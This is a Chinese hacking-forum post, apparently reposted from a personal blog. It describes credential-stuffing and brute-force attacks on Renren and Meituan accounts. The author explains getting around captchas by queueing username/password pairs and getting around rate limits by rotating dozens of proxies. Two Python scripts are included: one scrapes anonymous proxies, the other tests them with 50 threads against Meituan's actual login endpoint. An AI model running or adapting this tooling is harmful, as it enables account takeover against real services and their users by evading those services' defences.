搜索
查看: 453|回复: 0

批量获取及验证HTTP代理Python脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-8-5 18:42:26 | 显示全部楼层 |阅读模式

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

  1. from bs4 import BeautifulSoup
  2. import urllib2


  3. of = open('proxy.txt' , 'w')

  4. for page in range(1, 160):
  5.     html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  6.     soup = BeautifulSoup(html_doc)
  7.     trs = soup.find('table', id='ip_list').find_all('tr')
  8.     for tr in trs[1:]:
  9.         tds = tr.find_all('td')
  10.         ip = tds[1].text.strip()
  11.         port = tds[2].text.strip()
  12.         protocol = tds[5].text.strip()
  13.         if protocol == 'HTTP' or protocol == 'HTTPS':
  14.             of.write('%s=%s:%s\n' % (protocol, ip, port) )
  15.             print '%s=%s:%s' % (protocol, ip, port)

  16. of.close()
复制代码

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:
  1. #encoding=gbk
  2. import httplib
  3. import time
  4. import urllib
  5. import threading

  6. inFile = open('proxy.txt', 'r')
  7. outFile = open('available.txt', 'w')

  8. lock = threading.Lock()

  9. def test():
  10.     while True:
  11.         lock.acquire()
  12.         line = inFile.readline().strip()
  13.         lock.release()
  14.         if len(line) == 0: break
  15.         protocol, proxy = line.split('=')
  16.         headers = {'Content-Type': 'application/x-www-form-urlencoded',
  17.             'Cookie': ''}
  18.         try:
  19.             conn = httplib.HTTPConnection(proxy, timeout=3.0)
  20.             conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
  21.             res = conn.getresponse()
  22.             ret_headers = str( res.getheaders() )
  23.             html_doc = res.read().decode('utf-8')
  24.             print html_doc.encode('gbk')
  25.             if ret_headers.find(u'/m/account/login/') > 0:
  26.                 lock.acquire()
  27.                 print 'add proxy', proxy
  28.                 outFile.write(proxy + '\n')
  29.                 lock.release()
  30.             else:
  31.                 print '.',
  32.         except Exception, e:
  33.             print e

  34. all_thread = []
  35. for i in range(50):
  36.     t = threading.Thread(target=test)
  37.     all_thread.append(t)
  38.     t.start()
  39.    
  40. for t in all_thread:
  41.     t.join()

  42. inFile.close()
  43. outFile.close()
复制代码
FROM 李劼杰博客
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表